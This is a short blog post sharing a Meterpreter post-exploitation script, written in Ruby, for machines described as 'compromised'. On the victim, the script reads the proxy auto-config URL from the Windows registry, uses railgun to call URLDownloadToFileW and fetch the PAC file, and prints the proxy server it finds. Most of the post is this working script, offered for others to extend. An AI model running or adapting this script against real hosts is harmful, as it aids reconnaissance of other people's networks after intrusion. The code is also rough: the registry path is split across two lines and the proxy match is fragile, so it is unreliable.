Reading proxy auto config (pac) file with meterpreter

Since i am a web-security person (duh duh), please pardon me if you find this erroneous or useless.

The following meterpreter script is an example of reading proxy auto config file (pac) to check for the proxy servers being used by compromised machine.

Tested on Windows XP only.

#This is just a concept of reading pac file from the compromised machine.
#You can take the stuff ahead from here :-)
#oldmanlab@gmail.com

#Variable initialization
session = client

if session.platform =~ /win32|win64/

           #Read the key and the get the AutoConfig URL
           open_key = session.sys.registry.open_key(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion
                      \Internet Settings', KEY_READ)
           begin
                 url = open_key.query_value('AutoConfigURL').data
                 print_status('Reading pac file.....')

                 #Download the pac file
                 session.railgun.add_dll('urlmon','urlmon')
                 session.railgun.add_function('urlmon', 'URLDownloadToFileW', 'DWORD', [['PBLOB', 'pCaller', 'in'],
                 ['PWCHAR','szURL','in'],['PWCHAR','szFileName','in'],['DWORD','dwReserved','in'],['PBLOB','lpfnCB','inout']])
                 session.railgun.urlmon.URLDownloadToFileW(nil,url,'proxy.pac',0,nil)

                 #Read the file and search for the proxy servers
                 proxy_data = ''
                 temp = session.fs.file.new('proxy.pac','rb')
                 until temp.eof?
                           proxy_data << temp.read
                 end
                 proxy_host = proxy_data.match(/PROXY(.*)";/)[1]
                 print_status('The proxy server is:'+proxy_host)

           rescue
                 print_status('No pac file found')

           end
else
           print_status('Victim is not using Windows')
end

I never did code in ruby before so any suggestions are welcome.